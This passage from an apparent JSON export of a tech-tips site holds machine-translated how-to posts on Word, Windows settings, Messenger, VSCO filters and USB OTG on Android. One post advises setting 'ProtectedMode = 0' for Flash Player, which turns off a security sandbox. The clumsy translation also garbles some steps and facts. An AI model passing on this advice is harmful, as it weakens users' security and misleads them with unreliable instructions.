want to save the file directly to a specific directory of your choice, refer to the article below. We do not need to change the new directory during the saving process, but the file is saved directly to the selected folder. This makes managing and organizing files simpler instead of you have to cut or copy files to other folders to edit.\nHow to change the default save file format in Word, Excel and Powerpoint 2016? How to get overwritten Word files Restore default settings in Word, Excel 2003, 2007, 2010, 2013 How to reduce the size of the Word file 1. Change the folder to save Word 2007 files and below Step 1:\nAt Word interface, click on the Office icon and select Word Options .\n  Step 2:\nDisplay the interface of setting items in Word, users click on the Save to change the Word saving settings.\n  Step 3:\nSwitch to the interface next to you navigate to the Default file location and will find the default folder where Word files are stored is Documents. To change to another directory, click the Browse button .\n  Step 4:\nDisplay the folder on your computer so you can navigate to another default folder where you want to save the Word file. Click the folder you want to select and then click OK to select a new folder.\n  As a result, you will see the new folder is set as the default folder when saving the Word file. Finally click OK below to save.\n  2. How to change the directory to save Word 2010 and above files Step 1:\nAt the interface on Word, click File, then switch to the new interface, click Options below.\n  Step 2:\nAlso displaying the interface of setting items on Word, we click on Save and then look to the right to find Default local file location and click the Browse button to change the default folder, not the Document folder anymore.\n  So we know how to change the default folder to save Word 2007 files or lower and Word 2007 onwards. In addition, in the Save section, there is the option to change the folder to save the restored Word file and draft Word file.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55llqS5pbHRZquoZaOWw6Z506GcZpyVm662uNNmrqiqlGKzqrjE\n","link":"/post/how-to-change-the-folder-to-save-the-default-word-file/","section":"post","tags":null,"title":"How to change the folder to save the default Word file"},{"body":"You can press the keys Alt+ Tabor Ctrl+ Alt+ Tabto switch between applications and websites are opened in Windows 10.\nNew Alt + Tab feature for Insider users Starting with Windows 10 build 20161, all open tabs in Microsoft Edge will begin to appear in Alt + Tab , not just working in each browser window.\nIf you want fewer tabs or experience the classic Alt + Tab , Microsoft has added some settings for you in Settings\u0026gt; System\u0026gt; Multitasking . You can configure Alt + Tab to display only the last 3 or 5 tabs, or select \" Open windows only \" to turn off this feature completely.\nThis Alt + Tab feature is currently being implemented for a subset of Insider users in the Dev Channel and requires a Canary or Microsoft Edge build (version 83.0.475.0 or higher).\nThis tutorial will show you how to change what appears when you press Alt+ Tabto switch between open apps and websites in Windows 10.\nChange the content displayed in Alt + Tab via Settings 1. Open Settings and click on the System icon .\n2. Click Multitasking on the left.\n3. In Alt + Tab on the right, select an option below you want in the Pressing Alt + Tab shows drop-down menu :\nOpen windows and all tabs in Edge ( Open all windows and all tabs in Edge ) (default) Open windows and 5 most recent tabs in Edge ( Open the most recent windows and 5 tabs in Edge ) Open windows and 3 most recent tabs in Edge ( Open windows and the 3 most recent tabs in Edge ) Open windows only ( only open ) Select an option in the Pressing Alt + Tab shows drop-down menu 4. You can now close Settings if desired.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYywn5qsXZa5tXnTmplmq5ikxLR5yKdksKGemby4v4xqZw%3D%3D\n","link":"/post/how-to-change-what-alt-tab-shows-in-windows-10/","section":"post","tags":null,"title":"How to change what Alt + Tab shows in Windows 10"},{"body":" Have you found yourself trying to locate your location on a map on Google Earth, but found the location points to be in decimal form? So you can find your location(found from a paper map) on a digital map, you'll need to convert it. This...\nMethod 1of 2:\nDegrees, Minutes, (no seconds) to Decimal Form  Obtain the number of minutes on top of 0 the object is. If the item is located at 35 degrees AND 2 minutes write down 35* 2' . Be sure to write down a decimal point (.) to the right of the degrees portion you wrote on the one side of the paper.   Divide that number of minutes you obtained by 60.\n  Take the answer you obtained above (after dividing by 60) and write this portion of the answer to the right of the decimal point, to obtain your final answer. Be sure to mention your units, which, as the answer to this problem signifies, should be degrees, and, if this problem is a vector unit, display the direction in which the item is found at.  Method 2of 2:\nDegree, Minutes, Seconds to Degree and Decimal (Only) Form  Write down your units for the degree portion of your answer, followed by a decimal point. Include your units. If the item is located at 33 degrees 15 minutes 2 seconds, you'll need to write down 33 degrees.\n  Write down to the right of the degrees form, the number of minutes obtained. The problem stated in the step above, is 15 minutes. So, so far this decimal answer should represent \"33 degrees 15.(something) units\". (See above, when the top just had minutes without seconds stated.)\n  Obtain and divide the number of seconds the object is located at by sixty.In the example a few steps above, the object was located at 2 seconds, so divide this number by 60.take the number of seconds you obtained in the problem(2) by 60.\n  Write down your answer to the right of the minutes portion you earlier write down. Be sure to include your units, which for this problem, should then be degrees. If this unit is a vector quantity, include the direction.   Lesley Montoya Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmo5qsmanCpbGMmqWdZZyku6i1066bnmWlo7a1v4yfqailXZmyqL7EnqpmrJ9isaavyKaYpWWWpL%2Buvw%3D%3D\n","link":"/post/how-to-convert-latitude-and-longitude-units-from-degrees-to-decimal-forms/","section":"post","tags":null,"title":"How to Convert Latitude and Longitude Units from Degrees to Decimal Forms"},{"body":"During the chat with the Facebook Messenger application, we will sometimes encounter the case of sending a wrong message to someone. Now that we want to delete the message so that the other person cannot read it, fortunately Facebook Messenger has a built-in feature that allows us to delete or recall the wrongly sent message. In this article, TipsMake.com will guide you how to use this feature, please follow along.\n  Note : To recover or delete messages from both senders and recipients in Facebook Messenger, we only have 10 minutes from the time of sending, after 10 minutes, you can only delete messages on your device. mine.\n1. Delete the message on the Messenger app Step 1: you press and hold on the message you want to delete then there will be options at the bottom, select Uninstall .\nNext we will have 2 options: Remove messages for everyone (delete messages on both sides) and Remove messages for yourself (only delete messages on the sender). Here if you want to delete the message on both sides, then select Delete message for everyone.\n  Step 2 : When a notice appears, click Uninstall to finish.\nThe message after uninstallation will appear as You have removed a message\n  2. Delete Messenger messages on the web In the chat window when you hover over a certain message, a 3-dot button will appear. And when you press the button 3 dots this Uninstall button will appear and you select Uninstall to delete the message.\n  After pressing Uninstall there will be 2 options to delete the message that appears as shown in the picture, to delete the message on both sides of the sender and the press, you should select Remove message for everyone.\n  The message after deletion will display. You have removed a message as shown.\n  Above is a tutorial on how to delete messages sent in facebook messenger, thank you for watching!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYysnKesXaKytL%2FAoJysZZmjeqetwp6ZqKebYrqmv9KepaCdog%3D%3D\n","link":"/post/how-to-delete-sent-messages-in-facebook-messenger/","section":"post","tags":null,"title":"How to delete sent messages in Facebook Messenger"},{"body":" This wikiHow teaches you how to disable any internet connection on your Windows PC. If you're using Windows 10 or 8, you can quickly disable all internet access by turning on airplane mode. For a longer-term solution, you can disable your...\nMethod 1of 3:\nTurning on Airplane Mode in Windows 10 and 8  Click your network connection   . You should see it in the taskbar next to the clock, which is usually at the bottom of the screen. Use this method to temporarily prevent your PC from connecting to the internet. Depending on the type of connection, the icon will either be a globe (sometimes with a \"caution\" sign over it) or several curved lines (Windows 10) or a stack of signal bars (Windows 8).   Click the Airplane mode tile. If you're using Windows 10, it's the tile with an airplane icon. If you're using Windows 8 or 8.1, slide the \"Airplane mode\" switch to the On position instead. This will disconnect the PC from all wired and wireless networks immediately. An airplane icon will appear to the left of the clock as long as airplane mode is enabled. To reconnect, return to the network connection and click Airplane mode again (Windows 10) or slide the \"Airplane mode\" switch to the Off position.  Method 3of 3:\nDisabling Wi-Fi in Windows 10  Click your internet connection   in the taskbar. You should see your internet connection next to the clock in the taskbar, which is usually at the bottom of the screen. Depending on the type of connection, the icon will either be a globe (sometimes with a \"caution\" sign over it) or several curved lines. If you don't see a network connection icon, click the up-arrow left of the clock to expand additional icons.   Click the Wi-Fi   icon. It's at the bottom-left corner of the menu at the bottom of the screen. This disables all wireless connections. If you just want to disconnect from the network you're connected to now, click Disconnect on that network. Be aware that depending on your settings, your PC may try reconnecting to the network (or other open networks) immediately. To re-enable the adapter, click your network icon again in the taskbar, then click the Wi-Fi button again. Depending on your settings, you may need to reconnect to your wireless network manually by clicking its name.   Kareem Winters Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqK6juMRmoKeslae7psCMnKanppWYwaq7zWauoqaUpMS0\n","link":"/post/how-to-disable-internet-connection-windows/","section":"post","tags":null,"title":"How to Disable Internet Connection (Windows)"},{"body":"The MAC address is a physical address consisting of a set of six pairs of characters separated by colons, which is the unique code assigned by the manufacturer to each network hardware. MAC stands for Media Access Control.\nIf you do not know the MAC address on your computer, you follow the article below. Article instructions on how to view the MAC address on Windows XP, Windows 7, 8.\n1. Windows XP Method 1 Step 1: Press Windows + R combination to open the Run dialog box .\nStep 2: In Run, enter the keyword ncpa.cpl and click OK .\n  Step 3: Network Connections window appears, right-click Local Area Connect and select Status .\n  Step 4: In the Local Area Connection Status dialog box, select the Support tab and select Details .\n  Netword Connection Details dialog box appears , the Physical Address line is the MAC address of the computer.\n  Method 2 Step 1: You press Windows + R key combination to open the Run dialog box , then enter the keyword cmd and click OK to open the cmd.exe window .\n  Step 2: In the cmd.exe window, enter ipconfig / all and press Enter .\n  The network card of the computer is displayed and its MAC ( Physical Address ) address .\n  2. Windows 7, 8. Method 1 Step 1: You press the Windows + R key combination to open the Run dialog box or you select Start -\u0026gt; Run .\nStep 2: In the Run dialog box, enter the keyword ncpa.cpl and press OK (or press the Enter key ).\n  Step 3: Network Connections window appears, right-click Local Area Connect and select Status .\n  Step 4: In the Local Area Connection Status dialog box , select Details .\n  Step 5: In Network Connection Details , the Physical Address line is the computer's MAC address.\n  Method 2 Step 1: Press Windows + R combination to open the Run dialog box .\nStep 2: In the Run dialog box enter the keyword cmd and click OK to open the cmd.exe window .\n  Step 3: In the cmd.exe window, enter ipconfig / all and press Enter .\n  The network card of the computer is displayed and its MAC address.\n  So with the very simple operation above, you quickly find the MAC address on your computer without the support of any software. Good luck!.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7FuwMeeZKaZk2KupbDRnqqsZaOasm7Ax55kppmTYq6lsNGeqqxln6N6uLXNnaawq12tvW7DyKebqK%2BjYoRuhA%3D%3D\n","link":"/post/how-to-find-the-mac-address/","section":"post","tags":null,"title":"How to find the MAC address"},{"body":" Need a vector image of a bowling pin?? Why not make one yourself with Inkscape?! Open Inkscape and select the ellipse icon. Create a circle. You don't have to be exact, you will be changing its measurements. Make sure that the stroke is...\nMethod 1of 4:\nMaking the Outline  Open Inkscape and select the ellipse icon. Create a circle. You don't have to be exact, you will be changing its measurements. Make sure that the stroke is turned off.\n  Change the width and height (W and H) to 70.\n  While it is still selected, press CTRL D 4 times. This will make 4 copies.\n  Make the other circles to fit these dimension: 52 * 130 136 * 184 80 * 40 58 * 14   Line them up vertically so that they are touching, but not overlapping. Don't worry if it doesn't look quite right. That will be fixed.\n  Go to Object \u0026gt;\u0026gt; Align and Distribute (CTRL + Shift + A). This will open up that particular dialog box.\n  Holding down the Shift key, select all of the ellipses.\n  Select the 'Center on vertical axis' option in the Align and Distribute box.\n  Be sure that your snapping tool is set.\n  On the Snap Controls Bar, enable snapping. If you don't see it, go to View \u0026gt;\u0026gt; Show/Hide \u0026gt;\u0026gt; Snap Controls Bar and check it.\n  Select 'Snap nodes or handles' and 'Snap to cusp nodes'.\n  Select the Bezier tool, and make sure that the tool for creating regular bezier path is selected. Also, be sure that the shape is set to None.\n  Start at the top and click where you see the X that appears. Do this will all of the circles, all the way around.\n  When complete, click on the first selection. This is what it should look like at this point.   Once complete, press F2 (edit mode option).\n  Select all of the nodes. Go to the upper left portion of your project, click and hold on the left mouse button. Go to the lower right so that all of the nodes are selected.\n  Click on the 'Make selected nodes smooth' icon. This will round out your bowling pin.\n  Click on the Enable Snapping icon so that it is no longer enabled.\n  Click off of the bowling pin to deselect everything, then click on the top center node and bring it down, just a small amount.\n  Press F1 and then select the outline you have just created. Move it over away from the circles used to shape it.\n Method 2of 4:\nShading the Bowling Pin  Select a dark brown for its color. Be sure that the stroke is removed, so you just have the fill.\n  Go to Object \u0026gt;\u0026gt; Fill and Stroke (Shift + CTRL + F) to activate the dialog box.\n  Set the Blur to 1.\n  Make a copy (CTRL + D) of the pin.\n  Set the Blur of the duplicate back to 0 (zero). Change the color of the copy to white. What this does is create a slight outline for your bowling pin.\n  Shrink the white copy by going to Path \u0026gt;\u0026gt; Inset. Now, you should see a little more of the outline.\n  Add a gradient to your bowling pin. The gradients will give it added depth. Click on the gradient icon. Be sure the radial option is selected. Make the gradient in the upper right side of the bowling pin, as seen in the screenshot. Manipulate it until it has the desired look.   Press CTRL + D to duplicate the layer.\n  Move the gradient (copy) and bring it down to the bottom of the bowling pin. Manipulate it until it looks right.\n  Press F1 which will select the entire bowling pin.\n  Press CTRL + D to duplicate the layer. Adding this will lighten up your pin a little bit more.\n Method 3of 4:\nAdding Red Stripes  Select the square icon and draw a rectangle in approximately the right place for the stripe.\n  Fill it with red.\n  Set the height of the red stripe to 20 pixels.\n  Duplicate the stripe and move it to the correct place. Play with their positioning until it looks right to you.\n  Click on the bowling pin and then make a copy of it (CTRL D).\n  Click on the fill and make it the same red as the stripe.\n  Holding down the shift key (with the bowling pin still selected), click on the bottom red stripe.\n  Go to Path \u0026gt;\u0026gt; Intersection. This will give you one red stripe.\n  Select the bowling pin again and then press CTRL D to copy it. Repeat the steps above for the other stripe. Here is how it should look at this point.\n  While the second stripe is selected, hold down the Shift key and select the first stripe.\n  Select the gradient icon and make sure you have the linear (not radial) option selected.\n  Start the gradient on one of the stripes. With the blue handle where you see it in the screenshot, select black. This will help create a shadow. If you can't do them together for some reason, it's ok to shade them separately.  Method 4of 4:\nAdding Shine to the Bowling Pin  Click on the ellipse icon and draw a circle on the top part of your pin.\n  Set the dimensions of the circle to 55 (width) by 60 (height).\n  Center it on your bowling pin and fill it with white.\n  Click on the gradient tool. Manipulate the linear gradient until it looks the way you want it.\n  Click on the Bezier tool. You will be adding shine to the curve of the bowling pin. Click on the top of where you will add it, release, then click on the bottom of it. Finish by going back to where you started with the third click.\n  Select F2 (to edit nodes) and then take your first line close to the edge of the bowling pin.\n  Repeat with the other line, but make sure it is 'shadowing' the first line.\n  Change the fill to white. Be sure to remove the stroke.\n  Click on the gradient tool and add it to the center of the bezier line you have. Adjust it until you like the way it looks.\n  Enjoy your bowling pin vector graphic!\n  Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurYybprCkmaO0brzIp2Sipl2eu6y%2Fwpqnng%3D%3D\n","link":"/post/how-to-make-a-bowling-pin-in-inkscape/","section":"post","tags":null,"title":"How to Make a Bowling Pin in Inkscape"},{"body":" Creating a roleplay character should be a fun and enlightening experience. The choices you make for your roleplay character have everything to do with who you are and who you want to be. If you make the right choices for your roleplay...\nPart 2of 3:\nBuilding a Convincing Appearance  Dress appropriately for your character. Consider the time/place you are making for your character. A princess in a medieval setting won't be running around in men's clothing (unless, of course, she is a runaway and this is important to her character!) Robocop would choose black over pink dress wear. He wouldn't wear tights. Robin Hood, on the other hand, would.\n  Choose a hairstyle that reveals character. Slicked-back hair suggests a slick character. Messy hair, a laid-back and, perhaps, confused character. Hair that's arranged unusually or dyed pink or blue might suggest a character who has a flair for being original or off-beat.\n  Select accessories which suggest a story or create a mysterious element to your character. Why does your vampire wear a chain around his neck? What's up with the lightning scar on the forehead of your roleplaying Voldemort character? These accessories ask a question that begs an answer. They make your character interesting.\n  Select a gender that adds to the intrigue of your character. The obvious choice, of course, is to select your own gender for the gender of your roleplaying character. But roleplaying is about breaking boundaries. Why not try selecting the opposite gender for your roleplaying character? You might find an avenue into creating an inspiring and original character.\n Part 3of 3:\nCreating a Personality  Create a well-rounded personality for your character. Leave your character room to grow so that the character will continue to interest you and even surprise you. Characters shouldn't be predictable. They should be complicated, multi-dimensional, a bit mysterious. If your mage is the best in his academy, maybe he is incredibly bad at hand to hand fighting. Is your high school prom queen very pretty? Consider making her incredibly insecure, as well. No one is perfect. Make sure that your character is not.   Know your character's backstory. The more you know about your character's backstory, the more solid the character will be. The more solid the character, the more generous the character will be in the personality he/she reveals to you and to others. Where did your character come from? What is your character's age? Does your character have a middle-class background? Upper class? Did your character's father come from a poor family and work his way up?[2]   Formulate one sentence that can describe your character in a pinch. Who are they? Where did they come from? What happened to them to make them who they are? When you're forced to make a quick decision, this elevator pitch will quickly sum up the personality of your character so that you'll know what to do.[3] 'I am Rollo from the planet Venus, forever mourning the loss of my magic ring.'   List your character's strengths and weaknesses. Your roleplaying character shouldn't only be strong and charismatic. He/she should be believable. Is your character brave? Then perhaps your character could also be shy, afraid of social gatherings. Is your character talkative? Then allow your character to be drawn to the works of Mozart to suggest some depth and underlying layers.   Know your character's beliefs. Was your character raised in a tough environment and taught to take care of her/himself? Then perhaps your character believes in survival of the fittest. If so, then your character might be power-hungry, aggressive, the loudest roleplaying character in the crowd.[4]\n  Have fun! Roleplaying can be a near-art form, creative and inspiring. Cut loose and enjoy yourself! Make dynamic choices for your character so that you'll be interested in the role and will play it convincingly.\n  Decide on their zodiac sign, an element. These can have an effect on their behavior.\n  Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurYyrpqWdoKGuunnCoZirmZOpsrM%3D\n","link":"/post/how-to-make-a-roleplay-character/","section":"post","tags":null,"title":"How to Make a Roleplay Character"},{"body":"The phenomenon of Adobe Flash Player often crashes (crashes) on the browser happens quite often, especially if you have not updated to the latest Flash Player version, or have errors during use. So how to fix this Flash Player crash issue? Read on to the lower part of the article!\nHow to update Adobe Flash Player to the latest version? How to check the version of Flash Player on the computer? How to fix Adobe Flash Player error suddenly stopped on the browser? Imagine if you are playing a game or watching an interesting movie, then suddenly Flash Player has crashed, causing the browser to freeze, hang, and mouse to be jerked when moving (not as smooth as usual) . it's annoying. And even more annoying if you don't know how to fix this problem. But now that is no more, because TipsMake.com will help you fix this error in the most radical way.\n1. Fix Flash Player error that crashed, could not view video clip in browser: The best way is to update Flash Player to the latest version (see the link above), and note that during the update process you must close all open browsers! After the installation is successful, please open your browser and watch any video clip to check.\n  2. Edit Adobe Flash Player configuration file: If you use 32-bit Windows 7, go to the following link:\nC: windowssystem32macromedflash As for 64-bit Windows 7, go to:\nC: windowssyswow64macromedflash Find the file mms.cfg and open it with NotePad ++ (or NotePad):\n  When you open it, the mms.cfg file will have this content:\nAutoUpdateDisable = 1\nSilentAutoUpdateEnable = 0\nPlease correct it to:\nAutoUpdateDisable = 0\nSilentAutoUpdateEnable = 1 ProtectedMode = 0\nPress Ctrl + S to save changes, close the browser and then reopen and check the results. Note that if you cannot save, it means that the account you are using is not an Administrator account, please use the account with Administrator rights to operate at this step!\nThe above are some basic ways to fix Flash Player errors or crash in the browser.Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWasoqTCo7jErJ%2Bop6Seu6h5xaWYrKBdpbmixcSrZJyqkai1bq%2FRmqqhZZmjerW0xGaZq6enqLKz\n","link":"/post/instructions-for-troubleshooting-flash-player-crash-crash-in-the-browser/","section":"post","tags":null,"title":"Instructions for troubleshooting Flash Player crash (crash) in the browser"},{"body":"Batch renaming files in an easy-to-remember order will help you manage large numbers of files more easily. Usually for batch file renaming we have quite a lot of ways and many tools to support this. However, in this article, Thuthuatphanmem.vn will guide you the simplest and fastest way even without any software to rename files in batch. Invite you to refer.\nStep 1 : You open the folder containing the files to be renamed and then press Ctrl + A to select all the files in the folder. Then right-click on any file and select Rename :\n  Step 2 : Enter the new name for the file and press Enter\n  And so all files have been renamed with the serial number behind the name:\n  So with just a few simple steps, we have successfully renamed the file series without installing any other software. Hope the article will be helpful to you, wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnRnqWapZVis6q4xKxkoqZdl661r8eeqmaulafGbr3UopqkpKk%3D\n","link":"/post/instructions-on-how-to-rename-files-in-batches-very-quickly/","section":"post","tags":null,"title":"Instructions on how to rename files in batches very quickly"},{"body":"The famous VSCO application in the photo editing application on your phone when you want a photo with strange and eye-catching colors. Basically, how to use VSCO to correct photos is very simple, but the important point is the color correction formula to be able to make the best photos.\n1. VSCO formula yellow orange tone You can use this yellow orange tone to use for outdoor photos, or when taking selfies with the formula below.\nFormula VSCO tone cam filter C4:\nExposure: -4 Contrast: -3.5 Saturation: +1.5 Highlight: +6.5 Shadows: +9 Temperature: -1 Tint: +2.5 Skin Tone: -3 Formula VSCO tone cam filter C9:\nFilter: +8 Exposure: -0.5 Contrast: -1 Saturation: -1.3 Highlight: +3 Temperature: +1.5 Skin Tone: +0.8 Fade: +1 Formula VSCO tone cam filter F2:\nFilter: +8.8 Exposure: -1.6 Saturation: +2.1 Skin Tone: -3.7 Fade: +2.8 Formula VSCO tone cam without filter:\nExposure: +2.6 Sharpen: +9.2 Saturation: +4.5 Tint: +6 Skin Tone: +6 2. Formula VSCO gold tone, vintage If you like a bit more classic, you can try the recipe below.\nFormula VSCO yellow tone filter 08:\nFilter: +4.5 Exposure: -2.2 Contrast: -1.2 Sharpen: 7.9 Saturation: +1.2 Temperature: +1.6 Tint: -2.0 Formula VSCO yellow tone filter L5:\nFilter: +12 Exposure: Contrast: -2.5 Sharpen: +2 Saturation: +2 Highlight save: +4.5 Temperature: -1.1 Formula VSCO golden tone food filter V1:\nFilter: +7 Exposure: +2.2 Saturation: +3.4 Highlight save: +5.5 Shadows: +6 3. Formula VSCO tone green grass The characteristic of that green tone is that it will bring out the image with a slightly fresh, clear direction.\nVSCO formula simple green tone V5 filter:\nExposure: +1.4 Contrast: -2.3 Shadows: +2.8 Skin Tone: -6 Formula VSCO blue tone filter L4:\nExposure: +2 Contrast: +1 Sharpen: +4 Saturation: +2.6 Highlight: +4 Temperature: -1 Formula VSCO blue tone filter L8:\nFilter: +12 Exposure: +2.6 Shadows: +4.2 Tint: -2.4 Skin Tone: -2.5 VSCO formula for blue tone without filter:\nExposure: +1 Saturation: +3 Contrast: -1.5 Highlight: +2.4 Shadows: +2.5 4. Formula VSCO tone ocean blue If you are photographing seascape, this blue tone will suit you well\nColor correction formula from VSCO tone filter E3:\nExposure: +1.5 Saturation: +1.5 Highlight: +6 Shadows: +9 Temperature: -2 Tint: +5 Formula VSCO blue tone filter L4:\nFilter: +12 Exposure: +2.3 Sharpen: +6.7 Shadows: +3.7 Temperature: +1.4 Tint: +3.5 Formula VSCO blue tone filter AL1:\nExposure: +2.5 Saturation: +1 Highlight: +8 Shadows: +4 Temperature: -2 Tint: +2 The VSCO formula does not filter:\nExposure: +2 Contrast: -4.5 Saturation: +3 Highlight: +7 Shadows: +3 Temperature: -0.5 Tint: +6 5. VSCO formula white tone VSCO formula for bright white tone without filter:\nExposure: +3.3 Sharpen: +8.3 Saturation: +2.6 Temperature: +1.6 Tint: +6 Formula VSCO white tone cream filter A10:\nExposure: +2 Contrast: -2 Saturation: +3 Highlight: +10 Shadows: +6 Tint: +3 Skin Tone: -4 VSCO formula simple white tone filter V6:\nExposure: +1 Contrast: -1 Shadows: +2 Formula VSCO white tone filter AL1:\nFilter: +9 Exposure: +1 Contrast: +1 Saturation: -1.5 Highlight: +5 Shadows: +4.5 Temperature: -1.5 Tint: +1.5 Skin Tone: -6 6. Formula VSCO Korean light tone VSCO color formula for selfie filter light tone E5:\nExposure: -2.5 Contrast: -1.1 Saturation: +1 Highlight: +4.5 Shadows: +3 Temperature: +1 Tint: +3 Skin Tone: -2 VSCO color formula for selfie filter light tone E5:\nExposure: -2.5 Contrast: -1.1 Saturation: +1 Highlight: +4.5 Shadows: +3 Temperature: +1 Tint: +3 Skin Tone: -2 Formula VSCO color tone light filter C6:\nFilter: +9 Exposure: +2.3 Sharpen: +2.9 Saturation: +3.1 Shadows: +1.8 Temperature: +2 Tint: +1.5 Formula VSCO light tone without filter:\nExposure: +1.6 Sharpen: +6.8 Saturation: +4 Temperature: +1.7 Tint: +4.5 7. Formula VSCO Western tone Formula VSCO Western tone filter C4:\nFilter: +10 Exposure: -2 Contrast: -3 Saturation: +1.5 Highlight: +4 Shadows: +1.5 Formula VSCO Western tone filter J1:\nFilter: +8 Exposure: -1.5 Contrast: -2 Sharpen: +6 Highlight: +7.5 Temperature: -1 Skin Tone: -4 VSCO color formula Western tone U3 filter:\nFilter: +7.6 Exposure: -6 Contrast: -4.8 Saturation: -0.9 Highlight: +1.6 Shadows: +4.5 Grain: +1.5 8. VSCO formula cold tone VSCO formula for cold tone selfie filter U2:\nExposure: -5 Contrast: -4.5 Saturation: -1 Skin Tone: -3 Vignette: +8.5 Formula VSCO cold tone filter 05:\nContrast: +1.5 Clarify: +2 Saturation: -6 Highlight: +2 Grain: +1.7 Fade: +1.5 Formula VSCO cold tone HB2 filter:\nExposure: -4 Highlight: +9 Shadows: +5.5 Skin Tone: -4 Grain: +3.5 9. VSCO formula for vintage brown tone VSCO color formula for deep brown tone selfie filter C4:\nFilter: +12 Exposure: -5.5 Contrast: -5.5 Saturation: -1 Highlight: +6 Shadows: +2 Skin Tone: -3.5 Grain: +1.5 Formula VSCO brown tone vintage filter A1:\nFilter: +12 Exposure: -3.3 Contrast: -2.8 Saturation: +1 Highlight: +6.2 Shadows: +4.7 Temperature: +0.5 Tint: -0.7 Grain: -1.7 VSCO color formula for deep brown tone filter C5:\nExposure: -0.5 Contrast: -4.5 Saturation: +1 Skin Tone: -0.5 Fade: +6 VSCO color formula for deep brown color filter A4:\nExposure: -1.5 Contrast: -2.3 Sharpen: +1 Saturation: +0.5 Highlight: +3 Grain: +3 10. VSCO formula with deep gray tone VSCO color formula gray tone AL1 filter:\nFilter: +12 Exposure: -5 Contrast: -1.7 Sharpen: +7.4 Saturation: -2.8 Highlight: +7.5 Shadows: +5 Vignette: +6.3 Grain: +2 Formula VSCO gray tone HB2 filter:\nFilter: +12 Exposure: -1.5 Contrast: -6 Saturation: -1.5 Highlight: +10 Shadows: +8 Temperature: -1 Grain: +0.9 VSCO color formula gray tone selfie filter Se3:\nFilter: +9.5 Exposure: -2 Contrast: -6 Saturation: +2 Temperature: +1.5 Skin Tone: -4.5 Vignette: +6 How to use PicsArt on Windows 10 How to create text effect galaxy angel wings How to center in Photoshop Turn black and white photos into color photos in a snap How to combine black and white color images in Photoshop Top 10 photo editing apps ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZp6fp7q2uMCsZJ%2BnomLDtK%2FOZqCmmZeaeqS70aucnKyZpLs%3D\n","link":"/post/top-10-formulas-for-vsco-image-correction/","section":"post","tags":null,"title":"Top 10 formulas for VSCO image correction"},{"body":"The USB drive is very convenient, but you cannot use it with your phone. However, with Android phones and USB OTG, this is possible.\nUSB On-The-Go (OTG) is a standard specification for USB connection, allowing a device to read data from a USB connection without a computer. Basically, this device will become a 'USB Host', not every utility has this function.\nWhat can you do with it? There are many things you can do with USB OTG but we will discuss this later. For example, if you want to connect a USB drive to your phone or use an old Xbox 360 controller with an Android tablet, you can do it with USB OTG.\nUSB OTG is not a feature exclusively for Android, but this is the most used function. There are some printers that provide this USB OTG support, Microsoft hopes to bring USB OTG into Windows Phone 10 but there is no indication that Apple will allow this.\nCheck Android with USB OTG support   The easiest and most reliable way to check if your phone or tablet supports USB OTG is to check the specs or visit the manufacturer's website. You will see an icon like the one above or you will see the icon listed in the specifications.\nIf you don't find this information here, try checking your device on GSMArena.com. In the specs list, scroll down to find the USB and check if the entry says 'USB Host'.\nAnother method is to download USB OTG Checker from Play Store, this is a free application. You can run this application to quickly check if your Android device is supported with this feature.\nNot all Android devices support USB OTG, only some manufacturers enable this feature. This setting is in the core of the tablet or phone, the middleware allows your hardware to 'talk' to the operating system and applications. If the answer you get when using USB OTG Checker is not supported, you should consider using another custom Android kernel that supports USB OTG.\nRequired devices when using USB OTG   The Android device has a standard micro-USB port, but most USB devices require a full-size USB port. So what do you need to do to solve this problem? Of course using a micro-USB-to-USB dongle.\nYou need to search for a micro-USB adapter Male to full-size USB Female, note Male and Female parameters. But with the advent of USB Type C, you don't need to worry about this confusion anymore. You also need to prepare a flash drive with both micro USB and USB ports like the Kingston Micro Duo super useful. The price of this drive is not more expensive than the conventional USB drives but has many useful features.\nAfter you have prepared the necessary tools to use USB OTG, you can refer to some great uses on Android later.\nHow to use USB OTG on Android 1. Connect flash drive and external hard drive   Obviously, the function used with external memory is at the top of this list, you just need to plug it in and be ready to move. The USB drive is easiest to connect to, although the external hard drive may or may not work. Mobile hard drives with power from Android will not work, but external hard drives with separate power sources will work well. For example, you can transfer video files, then run them with a great video player application like MX Player.\nYou need to format these drives in FAT32 format because NTFS does not always work perfectly. To quickly connect and disconnect the flash drive, you should download StickMount.\n2. Use with video game controller   Xbox 360 controller works great with Android devices with USB OTG. You simply need to plug it in and play the game. Of course you have to play the game designed to use the controller. If your Android phone is rooted, you can connect to the PlayStation 3 controller.\nInstructions to root Android easily and quickly 3. Control Android with keyboard and mouse   Android's open nature makes it easy to connect with many things. If you want to use a tablet like a laptop, you can completely connect the keyboard and mouse to the Android device using USB OTG. You will be happy to know that Android can work well with most wireless and wired mice and keyboards.\nTop 11 best wireless keyboards for Mac and PC You should use a wireless keyboard and mouse with the most suitable adapter because you only have a USB connection. For example, you should buy a wireless plug-and-play kit that is compatible with all platforms, but do not buy the device that comes with software like Logitech T400, which requires SetPoint software.\nOne thing to note is that when connecting the USB keyboard to the Android device the default keyboard is QWERTY, so if you want to use another keyboard you need to use special keyboard applications such as Colemak or DVORAK.\n11 best Android keyboard apps 4. Print directly from the printer   Like a keyboard, printers with plug-and-play standard USB plugs work well with Android devices, so you can start printing without requiring a wireless connection and don't need to transfer anything. to the computer first. If you want to print photos and documents, you will have to switch to PTP (Photo to Photo) mode in the USB connection.\nHow to print documents directly from a smartphone or tablet 5. Control DSLR cameras Real photographers love this feature. The Android device can connect to a DSLR camera and turn into a giant live screen, capable of shooting, focusing, shutter speed control and many other features. This is one of the most innovative uses of Android tablets.\nYou need the DSLR 